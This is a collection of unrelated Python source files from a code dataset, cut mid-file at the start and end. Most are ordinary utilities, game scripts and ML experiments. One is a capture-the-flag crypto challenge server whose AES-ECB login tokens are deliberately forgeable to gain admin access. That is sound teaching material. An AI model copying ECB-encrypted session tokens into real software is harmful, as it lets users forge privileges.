tag.startswith(before):\n tag = tag.replace(before, after, 1)\n return tag\n return f\n\n\ndef get_tag_getter():\n tag_dict = {}\n try:\n with open('tag.json', 'r') as tag_file:\n tag_dict = json.load(tag_file, object_hook=dict)\n except FileNotFoundError:\n pass\n\n def f(repo_name):\n if repo_name in tag_dict and len(tag_dict[repo_name]) > 0:\n return tag_dict[repo_name]\n else:\n return ['Other']\n return f\n\n\ndef gen(user):\n get_tag_of_repo = get_tag_getter()\n convert_alias = get_alias_converter()\n\n # build repo tree and repo tags\n repo_tree = Tree()\n repo_tag = {}\n for repo in get_star_repos(user):\n tags = list(map(convert_alias, get_tag_of_repo(repo.full_name)))\n repo_tag[repo.full_name] = tags\n for tag in tags:\n repo_tree[tag].nodes.append(repo)\n\n # overwrite tag.json\n with open('tag.json', 'w+') as tag_file:\n json.dump(repo_tag, tag_file, indent=' ', sort_keys=True)\n\n # print .md file\n used_id_counter = defaultdict(lambda: -1)\n\n def use_id(name):\n name_id = name.lower().replace(' ', '-')\n used_id_counter[name_id] += 1\n suffix = ('-' + str(used_id_counter[name_id])) \\\n if used_id_counter[name_id] != 0 \\\n else \"\"\n return f'{name_id}{suffix}'\n\n print(textwrap.dedent(\"\"\"\\\n # Usage\n\n 1. generate a new repository from this template\n 1. trigger github action\n\n # Inspiration\n\n * [maguowei/starred](https://github.com/maguowei/starred):\n creating your own Awesome List by GitHub stars!\n \"\"\"))\n use_id('Usage')\n use_id('Inspiration')\n\n print(\"# Contents\")\n use_id('Contents')\n print()\n for name, dep, item in repo_tree.walk():\n if dep == 0:\n continue\n\n print('{}* [{}](#{})'.format(\n ' ' * (dep - 1),\n name,\n use_id(name))\n )\n print()\n\n for name, dep, item in repo_tree.walk():\n if dep == 0:\n continue\n\n print('{} {}'.format('#' * dep, name))\n print()\n\n for node in sorted(item.nodes):\n print('* [{}]({}): {}'.format(\n str(node), node.url, node.description\n ))\n print()\n print()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(prog='star')\n parser.add_argument('-u', '--user', help='GitHub user', required=True)\n\n args = parser.parse_args()\n\n gen(**args.__dict__)\n","sub_path":"star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"426350532","text":"from py3D import Vector, Color\nfrom Sky import Sky\n\n\nclass Rainbow(Sky):\n \"\"\"Class that describes the sky.\"\"\"\n def __init__(self, light = Vector(0.0,1.0,0.0)):\n Sky.__init__(self, light)\n\n def get_color(self, ray):\n cosine = ray.d.dot(self.light)\n if cosine < -0.5:\n red = 1.0\n green = 2.0 * (cosine + 1.0)\n blue = 0.0\n elif cosine < 0.0:\n red = 1.0 - 2.0 * (cosine + 0.5)\n green = 1.0\n blue = 0.0\n elif cosine < 0.5:\n red = 0.0\n green = 1.0\n blue = 2.0 * cosine\n else:\n red = 0.0\n green = 1.0 - 2.0 * (cosine - 0.5)\n blue = 1.0\n return Color(red, green, blue)\n \n","sub_path":"skies/Rainbow.py","file_name":"Rainbow.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"486162292","text":"#!/usr/bin/python3\nimport os\nfrom Crypto.Cipher import AES\nfrom urllib.parse import *\nfrom secret import FLAG\n\ndef pad(text):\n\tpadding = 16 - (len(text) % 16)\n\treturn text + bytes([padding] * padding)\n\ndef unpad(text):\n\tpadding = text[-1]\n\tprint(f\"text: {text}\")\n\tprint(f\"text[-padding:]: {text[-padding:]}\")\n\tprint(f\"text[:-padding]: {text[:-padding]}\")\n\tfor char in text[-padding:]:\n\t\tassert char == padding\n\treturn text[:-padding]\n\ndef register():\n\tuser = input(\"> Username: \")\n\ttoken = urlencode({'user': user, 'admin': 'N'})\n\ttoken = aes.encrypt(pad(token.encode('utf8'))).hex()\n\tprint(f\"> Token: {token}\\n\")\n\ndef login():\n\ttoken = input(\"> Token: \")\n\ttoken = aes.decrypt(bytes.fromhex(token))\n\ttoken = parse_qs(unpad(token).decode('utf8'))\n\tprint(f\"token: {token}\")\n\tfor key, value in token.items():\n\t\tassert len(value) == 1\n\t\tprint(f\"key: {key}, value[0]: {value[0]}\")\n\t\tif key == \"admin\" and value[0] == \"Y\":\n\t\t\tprint(FLAG)\n\tprint(\"> login finish, bye~\")\n\texit()\n\nif __name__ == '__main__':\n\tkey = os.urandom(32)\n\taes = AES.new(key, AES.MODE_ECB)\n\twhile True:\n\t\tprint('> register')\n\t\tprint('> login')\n\t\tprint('> server.py')\n\t\tprint('> exit')\n\t\tcmd = input('> Command: ')\n\t\tif cmd == 'exit': exit()\n\t\telif cmd == 'register': register()\n\t\telif cmd == 'login': login()\n\t\telif cmd == 'server.py': print(open('./server.py', 'r').read())\n\t\telse: print(aes.encrypt(pad(b'Bad hacker')).hex())\n","sub_path":"ISC_TAIWAN_TECH/Crypto/ECB Mode/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"537070276","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport json\nfrom ..spec import spec\nfrom ..registry import check\n\n\n# Module API\n\n@check('duplicate-row', type='structure', context='body')\nclass DuplicateRow(object):\n\n # Public\n\n def __init__(self, **options):\n self.__row_index = {}\n\n def check_row(self, errors, cells, row_number):\n\n # Get pointer\n try:\n pointer = hash(json.dumps(list(cell.get('value') for cell in cells)))\n references = self.__row_index.setdefault(pointer, [])\n except TypeError:\n pointer = None\n\n # Found pointer\n if pointer:\n\n # Add error\n if references:\n message = spec['errors']['duplicate-row']['message']\n message = message.format(\n row_number=row_number,\n row_numbers=', '.join(map(str, references)))\n errors.append({\n 'code': 'duplicate-row',\n 'message': message,\n 'row-number': row_number,\n 'column-number': None,\n })\n\n # Clear cells\n if references:\n del cells[:]\n\n # Update references\n references.append(row_number)\n","sub_path":"lib/python2.7/site-packages/goodtables/checks/duplicate_row.py","file_name":"duplicate_row.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"155907369","text":"###############################################################################\n# Filename: GasGiant_S.py\n# \n# Confidential and Proprietary, Copyright 2001 by Totally Games\n# \n# Creates GasGiant static objects. Called by GasGiant1_S.py when region is created\n# \n# Created: 09/17/00 \n# Modified: 10/04/01 - Tony Evans\n# July 2003 - Chris Jones\n# MultiPlayer version 12/17/03 - Chris Jones\n###############################################################################\nimport App\nimport loadspacehelper\nimport MissionLib\nimport Tactical.LensFlares\nimport SelfDefenseNoWarpAI\n##import BreenAI\nimport RouteAI\n\ndef Initialize(pSet):\n\n# To create a colored sun:\n# pSun = App.Sun_Create(fRadius, fAtmosphereThickness, fDamagePerSec, fBaseTexture , fFlareTexture)\n#\n# for fBaseTexture you can use:\n# data/Textures/SunBase.tga \n# data/Textures/SunRed.tga\n# data/Textures/SunRedOrange.tga\n# data/Textures/SunYellow.tga\n# data/Textures/SunBlueWhite.tga\n# for fFlareTexture you can use:\n# data/Textures/Effects/SunFlaresOrange.tga\n# data/Textures/Effects/SunFlaresRed.tga\n# data/Textures/Effects/SunFlaresRedOrange.tga\n# data/Textures/Effects/SunFlaresYellow.tga\n# data/Textures/Effects/SunFlaresBlue.tga\n# data/Textures/Effects/SunFlaresWhite.tga\n\n pNebula = App.MetaNebula_Create(245.0 / 255.0, 90.0 / 255.0, 105.0 / 255.0, 445.0, 10.5, \"data/Backgrounds/BlueGasPlanet.tga\", \"data/Backgrounds/BlueGasPlanet.tga\")\n # Set nebula damage/sec to Hull/Shields.\n pNebula.SetupDamage(5.4, 54.0)\n # Adds a fuzzy sphere at x, y, z (in world coord) of specified size (1000.0 in this case)\n pNebula.AddNebulaSphere(20000, 20000, 0, 20000.0)\n # Puts the nebula in the set\n pSet.AddObjectToSet(pNebula, \"Nebula1\")\n \n # Model and placement for Neogiah\n pPlanet = App.Planet_Create(7790.0, \"data/models/environment/BrightGreenPlanet.nif\")\n pSet.AddObjectToSet(pPlanet, \"Neogiah\")\n \n #Place the object at the specified location.\n pPlanet.PlaceObjectByName(\"Neogiah Location\")\n pPlanet.UpdateNodeOnly()\n \n # Model and placement for Unknown Planet\n pPlanet2 = App.Planet_Create(200.0, \"data/models/environment/BlueRockyPlanet.nif\")\n pSet.AddObjectToSet(pPlanet2, \"Unknown Planet\")\n \n #Place the object at the specified location.\n pPlanet2.PlaceObjectByName(\"Unknown Planet Location\")\n pPlanet2.UpdateNodeOnly()\n \n if (App.g_kUtopiaModule.IsHost ()) or not (App.g_kUtopiaModule.IsMultiplayer()):\n \n #hulk\n pHulk27 = loadspacehelper.CreateShip(\"Transport\", pSet, \"Scenic Tour\", \"Tour Location\")\n import LightDamage\n LightDamage.AddDamage(pHulk27) \n \n pImpulseEngines = pHulk27.GetImpulseEngineSubsystem()\n pMax = pImpulseEngines.GetMaxCondition() \n sImpulseEngine = pMax * 0.5 \n pHulk27.DamageSystem(pHulk27.GetImpulseEngineSubsystem(), sImpulseEngine)\n \n pProp = pHulk27.GetImpulseEngineSubsystem().GetProperty()\n maxSpeed = pProp.GetMaxSpeed()\n \n maxSpeed = maxSpeed * 0.1\n pProp.SetMaxSpeed(maxSpeed)\n pHulk27.SetSpeed( maxSpeed, App.TGPoint3_GetModelForward(), App.PhysicsObjectClass.DIRECTION_MODEL_SPACE )\n \n # Create ship\n pGalaxy = loadspacehelper.CreateShip(\"Galaxy\", pSet, \"USS Galaxy\", \"Galaxy location\")\n import LightDamage\n LightDamage.AddDamage(pGalaxy) \n \n pImpulseEngines = pGalaxy.GetImpulseEngineSubsystem()\n pMax = pImpulseEngines.GetMaxCondition() \n sImpulseEngine = pMax * 0.5 \n pGalaxy.DamageSystem(pGalaxy.GetImpulseEngineSubsystem(), sImpulseEngine)\n \n pProp = pGalaxy.GetImpulseEngineSubsystem().GetProperty()\n maxSpeed = pProp.GetMaxSpeed()\n \n maxSpeed = maxSpeed * 0.1\n pProp.SetMaxSpeed(maxSpeed)\n pGalaxy.SetSpeed( maxSpeed, App.TGPoint3_GetModelForward(), App.PhysicsObjectClass.DIRECTION_MODEL_SPACE )\n \n pPhasers = pGalaxy.GetPhaserSystem()\n pMax = pPhasers.GetMaxCondition() \n sPhaser = pMax * 0.5 \n pGalaxy.DamageSystem(pGalaxy.GetPhaserSystem(), sPhaser) \n \n # Create ship\n pWarbird = loadspacehelper.CreateShip(\"Warbird\", pSet, \"RIS Senator\", \"Warbird Location\")\n \n\n\n if (App.g_kUtopiaModule.IsMultiplayer()):\n pMission = MissionLib.GetMission ()\n SetupEventHandlers(pMission)\n else:\n # Setup Affiliations \n global pFriendlies \n global pEnemies\n \n pGame = App.Game_GetCurrentGame() \n pEpisode = pGame.GetCurrentEpisode() \n pMission = pEpisode.GetCurrentMission() \n pNeutrals = pMission.GetNeutralGroup()\n pNeutrals.AddName(\"Scenic Tour\")\n pHulk27.SetAI(SelfDefenseNoWarpAI.CreateAI(pHulk27))\n pGalaxy.SetAI(SelfDefenseNoWarpAI.CreateAI(pGalaxy))\n pWarbird.SetAI(RouteAI.CreateAI(pWarbird, pPlanet2, pPlanet)) \n\n###############################################################################\n# SetupEventHandlers()\n#\n# Set up event handlers used by the Starbase 12 set.\n#\n# Args: pSet - The Starbase 12 set.\n#\n# Return: none\n###############################################################################\ndef SetupEventHandlers(pMission):\n import Multiplayer.MissionShared\n App.g_kEventManager.AddBroadcastPythonFuncHandler(App.ET_OBJECT_CREATED_NOTIFY, pMission, __name__ + \".ObjectCreatedHandler\")\n\n return 0\n\n\ndef ObjectCreatedHandler (TGObject, pEvent):\n import Multiplayer.SpeciesToShip\n\n # We only care about ships.\n pShip = App.ShipClass_Cast (pEvent.GetDestination ())\n if (pShip):\n # We only care about ships.\n if (pShip.IsPlayerShip ()):\n ResetEnemyFriendlyGroups ()\n elif (pShip.GetNetType () == Multiplayer.SpeciesToShip.FEDSTARBASE):\n pass\n return 0\n\ndef ResetEnemyFriendlyGroups ():\n # Go through player list, trying to find all the ships\n\n pNetwork = App.g_kUtopiaModule.GetNetwork ()\n pGame = App.MultiplayerGame_Cast (App.Game_GetCurrentGame ())\n\n if (pNetwork and pGame):\n pMission = MissionLib.GetMission ()\n pEnemyGroup = MissionLib.GetEnemyGroup ()\n pNeutralGroup = pMission.GetNeutralGroup ()\n\n pSet = App.g_kSetManager.GetSet(\"GasGiant1\")\n pPlanet = App.Planet_GetObject(pSet, \"Neogiah\")\n pPlanet2 = App.Planet_GetObject(pSet, \"Unknown Planet\")\n pHulk27 = App.ShipClass_GetObject(pSet, \"Scenic Tour\")\n pGalaxy = App.ShipClass_GetObject(pSet, \"USS Galaxy\")\n pWarbird = App.ShipClass_GetObject(pSet, \"RIS Senator\")\n if pHulk27 != None:\n pNeutralGroup.AddName(\"Scenic Tour\")\n pHulk27.SetAI(SelfDefenseNoWarpAI.CreateAI(pHulk27))\n if pGalaxy != None: \n pGalaxy.SetAI(SelfDefenseNoWarpAI.CreateAI(pGalaxy))\n if pWarbird != None: \n pWarbird.SetAI(RouteAI.CreateAI(pWarbird, pPlanet2, pPlanet)) \n","sub_path":"scripts/Systems/GasGiant/GasGiant1_S.py","file_name":"GasGiant1_S.py","file_ext":"py","file_size_in_byte":8041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"285069402","text":"import pandas as pd\nimport shutil\nimport random\nimport os\n\nsrc_path = '/home/utopia/CVDATA/lumbar/0613/zhuijianpan_small/' # 多标签\n# src_path = '/home/utopia/CVDATA/lumbar/0613/lumbar_train51/class/1/' # 多标签\ntarget_path = '/home/utopia/xuleichao/projects/tianchi-SparkAI/keypoint/multi-label-image-classification/MSCOCO'\n\nall_images_train = os.listdir(src_path + 'train/')\nall_images_test = os.listdir(src_path + 'val/')\n\ntrain_dir = 'train2014'\ntrain_image_info = 'trainAnnotation.csv'\n\ntest_dir = 'val2014'\ntest_image_info = 'testAnnotation.csv'\n\ndef label_hit(string, dct):\n if '-' not in string:\n # dct[string.upper()] = '1'\n dct['V1'] = '1'\n else:\n string_lst = string.split('-')\n for j in string_lst:\n # dct[j.upper()] = '1'\n dct['V1'] = '1'\n break\n return dct\n\n# def label_hit(string, dct):\n# if '-' not in string:\n# dct['label'] = string\n# else:\n# string_lst = string.split('-')\n# for j in string_lst:\n# dct['label'] = string_lst[0]\n# return dct\n\nif os.path.exists(target_path + '/train2014'):\n shutil.rmtree(target_path + '/train2014')\n os.mkdir(target_path + '/train2014')\nelse:\n os.mkdir(target_path + '/train2014')\n\ncsv_result_train = []\ncsv_result_test = []\nfor i in all_images_train:\n if os.path.getsize(src_path+ 'train/' + i):\n # class_dct = {'images_name': i, 'label': '0'}\n class_dct = {'images_name': i, 'V1': '0', 'V2': '0', 'V3': '0', 'V4': '0', 'V5': '0'}\n info = i.split('_')\n label_dct = label_hit(info[1], class_dct)\n if label_dct['V1'] == '':\n continue\n if '' in label_dct.keys():\n del label_dct['']\n if 0:\n csv_result_test.append(label_dct)\n shutil.copy(src_path + i, target_path + '/' + test_dir + '/' + i)\n else:\n csv_result_train.append(label_dct)\n shutil.copy(src_path + 'train/' + i, target_path + '/' + train_dir + '/' + i)\n\nfor i in all_images_test:\n if os.path.getsize(src_path + 'val/' + i):\n # class_dct = {'images_name': i, 'label': '0'}\n class_dct = {'images_name': i, 'V1': '0', 'V2': '0', 'V3': '0', 'V4': '0', 'V5': '0'}\n info = i.split('_')\n label_dct = label_hit(info[1], class_dct)\n if label_dct['V1'] == '':\n continue\n if 1:\n csv_result_test.append(label_dct)\n shutil.copy(src_path + 'val/' + i, target_path + '/' + test_dir + '/' + i)\n else:\n csv_result_train.append(label_dct)\n shutil.copy(src_path + i, target_path + '/' + train_dir + '/' + i)\n\ncsv_df_train = pd.DataFrame(csv_result_train)\ncsv_df_train.to_csv('trainAnnotation.csv', header=None, index=False)\n\n\ncsv_df_test = pd.DataFrame(csv_result_test)\ncsv_df_test.to_csv('testAnnotation.csv', header=None, index=False)","sub_path":"keypoint/multi-label-image-classification/MSCOCO/get_datasets_new.py","file_name":"get_datasets_new.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"518318407","text":"from hyperopt import Trials, STATUS_OK, tpe\nfrom hyperas import optim\nfrom hyperas.distributions import choice, uniform\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation\nfrom keras.models import load_model\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import KFold \nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import mean_squared_error\n\nimport pandas as pd\nimport numpy as np\n\ndef data():\n data = pd.read_csv(\"PES.dat\") \n # drop duplicates, toggle on or off\n data = data.drop_duplicates(subset = 'E')\n data = data.values\n X = data[:,0:-1]\n y = data[:,-1]\n # should you scale a smaller range to fit multiple activ functions?\n scaler = MinMaxScaler(feature_range=(0,1))\n scaled_X = scaler.fit_transform(X)\n scaled_y = scaler.fit_transform(y.reshape(-1,1))\n return scaled_X, scaled_y\n \n\ndef create_model(X, y):\n in_dim = tuple([X.shape[1]])\n out_dim = y.shape[1]\n #valid_set = tuple([X_valid, y_valid])\n kfold = KFold(n_splits=3, shuffle=True, random_state=42)\n cv_losses = []\n cv_maes = []\n for train, test in kfold.split(X, y):\n model = Sequential()\n model.add(Dense(10, input_shape=in_dim))\n model.add(Activation('softmax'))\n model.add(Dense(10))\n model.add(Activation('softmax'))\n model.add(Dense(10))\n model.add(Activation('softmax'))\n model.add(Dense(out_dim))\n model.add(Activation('linear'))\n model.compile(loss='mse', optimizer='Adam', metrics=['mae'])\n model.fit(x=X[train],y=y[train],epochs=10,batch_size=5,verbose=0)\n\n scores = model.evaluate(X[test], y[test], verbose=0)\n cv_losses.append(scores[0]) \n cv_maes.append(scores[1]) \n print(cv_losses)\n print(cv_maes)\n print(\"Average MSE and stdev from scaled energies:\")\n print(\"{} (+/- {})\".format(np.mean(cv_losses), np.std(cv_losses)))\n print(\"Average MAE and stdev from scaled energies:\")\n print(\"{} (+/- {})\".format(np.mean(cv_maes), np.std(cv_maes)))\n\n # now hyperopt loss should be the average of the folds losses\n loss = np.mean(cv_losses)\n mae = np.mean(cv_maes)\n print(\"Test MSE: \", loss)\n print(\"Test MAE: \", mae)\n # now with CV, the model we have here is just the last one in the CV, unclear what to do here\n return {'loss': loss, 'status': STATUS_OK}\n\n\nX, y = data()\nresult = create_model(X,y)\n","sub_path":"HYPERAS_tests/hyperas_v3/base_cv/hyperas_nn.py","file_name":"hyperas_nn.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"598482902","text":"import os\nimport datetime as dt\n\nVERSION = '0.0.0'\nPORT = os.getenv('PORT', 8080)\nAPP_NAME = 'risk-simulator'\nBASE_PATH = f'/api/{APP_NAME}'\n\nDEBUG = os.getenv('DEBUG', True)\n\nDEPLOYED_AT = dt.datetime.now().strftime('%m/%d/%Y, %H:%M:%S')","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"547479456","text":"#!/usr/bin/env python\nimport flask\n\n# Create the application\nAPP = flask.Flask(__name__)\n\n@APP.route(\"/\")\ndef index():\n \"\"\" Displays the index page accessible at '/'\n \"\"\"\n\n return flask.render_template(\"index.html\")\n\nif __name__ == \"__main__\":\n APP.debut=True\n APP.run(host='0.0.0.0')\n\n\n","sub_path":"hello_flask.py","file_name":"hello_flask.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"392026791","text":"\"\"\"\n\nEvlang usage examples\n scriptable Evennia base typeclass and @code command\n\nEvennia contribution - Griatch 2012\n\nThe ScriptableObject typeclass initiates the Evlang handler on\nitself as well as sets up a range of commands to\nallow for scripting its functionality. It sets up an access\ncontrol system using the 'code' locktype to limit access to\nthese codes.\n\nThe @code command allows to add scripted evlang code to\na ScriptableObject. It will handle access checks.\n\n\nThere are also a few examples of usage - a simple Room\nobject that has scriptable behaviour when it is being entered\nas well as a more generic template for a Craftable object along\nwith a base crafting command to create it and set it up with\naccess restrictions making it only scriptable by the original\ncreator.\n\n\"\"\"\n\nfrom contrib.evlang import evlang\nfrom src.locks.lockhandler import LockHandler\nfrom ev import Object\n\n\n#------------------------------------------------------------\n# Typeclass bases\n#------------------------------------------------------------\n\nclass ScriptableObject(Object):\n \"\"\"\n Base class for an object possible to script. By default it defines\n no scriptable types.\n \"\"\"\n\n def init_evlang(self):\n \"\"\"\n Initialize an Evlang handler with access control. Requires\n the evlang_locks attribute to be set to a dictionary with\n {name:lockstring, ...}.\n \"\"\"\n evl = evlang.Evlang(self)\n evl.lock_storage = \"\"\n evl.lockhandler = LockHandler(evl)\n for lockstring in self.db.evlang_locks.values():\n evl.lockhandler.add(lockstring)\n return evl\n\n def at_object_creation(self):\n \"\"\"\n We add the Evlang handler and sets up\n the needed properties.\n \"\"\"\n # this defines the available types along with the lockstring\n # restricting access to them. Anything not defined in this\n # dictionary is forbidden to script at all. Just because\n # a script type is -available- does not mean there is any\n # code yet in that slot!\n self.db.evlang_locks = {}\n # This stores actual code snippets. Only code with codetypes\n # matching the keys in db.evlang_locks will work.\n self.db.evlang_scripts = {}\n # store Evlang handler non-persistently\n self.ndb.evlang = self.init_evlang()\n\n def at_init(self):\n \"We must also re-add the handler at server reboots\"\n self.ndb.evlang = self.init_evlang()\n\n# Example object types\n\nfrom ev import Room\nclass ScriptableRoom(Room, ScriptableObject):\n \"\"\"\n A room that is scriptable as well as allows users\n to script what happens when users enter it.\n\n Allowed scripts:\n \"enter\" (allowed to be modified by all builders)\n\n \"\"\"\n def at_object_creation(self):\n \"initialize the scriptable object\"\n self.db.evlang_locks = {\"enter\": \"code:perm(Builders)\"}\n self.db.evlang_scripts = {}\n self.ndb.evlang = self.init_evlang()\n\n def at_object_receive(self, obj, source_location):\n \"fires a script of type 'enter' (no error if it's not defined)\"\n self.ndb.evlang.run_by_name(\"enter\", obj)\n\n","sub_path":"evennia_related/objects_evennia.py","file_name":"objects_evennia.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"615490812","text":"# Copyright (c) 2020 Huawei Technologies Co., Ltd.\n# foss@huawei.com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom dateutil.relativedelta import relativedelta\nfrom datetime import datetime\nfrom datetime import timedelta\nimport time\nweekSet = []\n\nfrom src.logger_setting.my_logger import get_logger\n\nlogger = get_logger()\n\n\ndef get_week_day(date):\n week = datetime.strptime(date, \"%Y%m%d\").weekday()\n return week\n\n\ndef add_days(date, num):\n return (datetime.strptime(date, \"%Y%m%d\") + timedelta(days=num)).strftime(\"%Y%m%d\")\n\n\ndef add_months(date, num):\n return (datetime.strptime(date, \"%Y%m%d\") + relativedelta(months=num)).strftime(\"%Y%m%d\")\n\n\ndef get_week_set(first_day, last_day):\n week = get_week_day(first_day)\n next_day = add_days(first_day, 7 - int(week))\n if next_day > last_day:\n if first_day < last_day:\n weekSet.append(first_day)\n weekSet.append(last_day)\n else:\n weekSet.append(first_day)\n get_week_set(next_day, last_day)\n return weekSet\n\n\ndef change_week_set(week_set):\n if len(week_set) > 10:\n if (datetime.strptime(week_set[1], \"%Y%m%d\") - datetime.strptime(week_set[0], \"%Y%m%d\")).days >= \\\n (datetime.strptime(week_set[10], \"%Y%m%d\") - datetime.strptime(week_set[9], \"%Y%m%d\")).days:\n del week_set[10]\n else:\n del week_set[0]\n return week_set\n\n\ndef is_in_time(date, first_day, last_day):\n if first_day <= date < last_day:\n return True\n else:\n return False\n\n\ndef get_time():\n return time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n\n\nif __name__ == '__main__':\n datetime_now = datetime.now()\n\n print(get_week_set(\"20200101\", \"20200201\"))\n print((datetime.strptime(weekSet[4], \"%Y%m%d\") - datetime.strptime(weekSet[3], \"%Y%m%d\")).days >\n (datetime.strptime(weekSet[1], \"%Y%m%d\") - datetime.strptime(weekSet[0], \"%Y%m%d\")).days)\n print(is_in_time(\"20200513\", \"20200511\", \"20200518\"))\n print(is_in_time(\"20200513\", \"20200514\", \"20200518\"))\n","sub_path":"src/timeOperator/timeOpt.py","file_name":"timeOpt.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"80465566","text":"import cv2\nimport numpy as np\nfrom SUASImageParser.utils.color import bcolors\nfrom create_data_options import parseOptions\nfrom create_data_options import getOption\nimport os\nimport json\n\nparseOptions()\n\nPath = getOption(\"image\")\noutput = getOption(\"output_directory\")\nshould_exit = False\nif Path == None:\n print(bcolors.FAIL + \"[Error]\" + bcolors.ENDC + \" Please provide an image to use\")\n should_exit = True\n\nif output == None:\n print(bcolors.FAIL + \"[Error]\" + bcolors.ENDC + \" Please provide an output directory to use\")\n should_exit = True\n\nif should_exit:\n exit(0)\n\nif not os.path.exists(output):\n os.mkdir(output)\n\nimage_float_size = 1150.0\nimage_int_size = int(image_float_size)\ncolor = [0,255,0]\nrectangle = False\nobj_index = 1\n\ndef on_event(event,x,y,flags,param):\n global draw_image\n global startpointx,startpointy,rectangle\n global x_scale, y_scale\n global image\n global obj_index\n\n if event == cv2.EVENT_LBUTTONDOWN:\n rectangle = True\n startpointx = x\n startpointy = y\n draw_image = resized.copy()\n cv2.rectangle(draw_image,(x,y),(x,y),(0,255,0))\n\n elif event == cv2.EVENT_LBUTTONUP:\n rectangle = False\n draw_image = resized.copy()\n area = {\n \"x_start\" : int(x_scale * startpointx),\n \"y_start\" : int(y_scale * startpointy),\n \"x_finish\" : int(x_scale * x),\n \"y_finish\" : int(y_scale * y)\n }\n with open(output + str(obj_index) + \".txt\", 'w+') as output_f:\n json.dump(area, output_f)\n obj_index += 1\n print('Target successfully saved')\n\n elif event == cv2.EVENT_MOUSEMOVE:\n if rectangle:\n draw_image = resized.copy()\n cv2.rectangle(draw_image,(startpointx,startpointy),(x,y),(0,255,0))\n\n# Read the image and convert it into gray\nimage = cv2.imread(Path)\ncv2.imwrite(output + \"image.jpg\", image)\ngray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# resize the image\nration = image_float_size / gray_image.shape[1]\ndim = (image_int_size,int(gray_image.shape[0]*ration))\ny_scale = image.shape[0] / dim[1]\nx_scale = image.shape[1] / dim[0]\nresized = cv2.resize(gray_image, dim, interpolation = cv2.INTER_AREA)\ndraw_image = resized.copy()\n\n# set window for the image\ncv2.namedWindow('window')\n\n# mouse callback\ncv2.setMouseCallback('window',on_event)\n\nwhile True:\n cv2.imshow('window', draw_image)\n ch = 0xFF & cv2.waitKey(1)\n if ch == 27:\n break\n\ncv2.destroyAllWindows()\n","sub_path":"examples/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"223265958","text":"# Python Object Exercises\n\n\nclass Person:\n\n def __init__(self, name, email, phone):\n self.name = name\n self.email = email\n self.phone = phone\n self.friends = []\n self.greeting_count = 0\n self.unique_people_greeted = []\n\n # greets another person. Keeps track of how many times each Person object greets another Person\n def greet(self, other_person):\n print('Hello {}, I am {}!'.format(other_person.name, self.name))\n self.greeting_count += 1\n\n # refer to num_unique_people_greeted\n if other_person.name not in self.unique_people_greeted:\n self.unique_people_greeted.append(other_person.name)\n\n def print_contact_info(self):\n print(f\"{self.name}'s email: {self.email}\")\n print(f\"{self.name}'s phone number: {self.phone}\")\n\n # Hiding implementation details from users. Implement an add_friend method. The user can do jordan.add_friend(sonny) instead of jordan.friends.append(sonny)\n def add_friend(self, other_person):\n self.friends.append(other_person.name)\n\n # Counting how many friends each Person object has since friends is a list attribute\n def num_friends(self):\n print(len(self.friends))\n\n # When printing the instantiated object, print(sonny), this method returns formatted information rather than the default Python output.\n def __str__(self):\n return f\"Person: {self.name}, {self.email}, {self.phone}\"\n\n # Bonus Challenge: Keep track of the number of unique people a person has greeted and be able to report that number\n # Created empty list/array attribute n the __init__ method called unique_people_greeted\n # Whenever the greet method is called, I'll add the name of the person we are greeting into self.unique_people_greeted, as long as that person is not in the list.\n # Then when we call num_unique_people_greeted, we just count the length of the list of unique people.\n def num_unique_people_greeted(self):\n num_uniques = len(self.unique_people_greeted)\n print(num_uniques)\n\n\n# Instantiating Person objects\nsonny = Person('Sonny', 'sonny@hotmail.com', '483-485-4948')\njordan = Person('Jordan', 'jordan@email.com', '495-586-3456')\ndee_ann = Person('DeeAnn', 'email', 'number')\n\n# testing out greet method\n\nsonny.greet(jordan)\njordan.greet(sonny)\n\n# accessing attributes\nprint(sonny.email, sonny.phone)\nprint(jordan.email, jordan.phone)\n\n# calling the print contact info 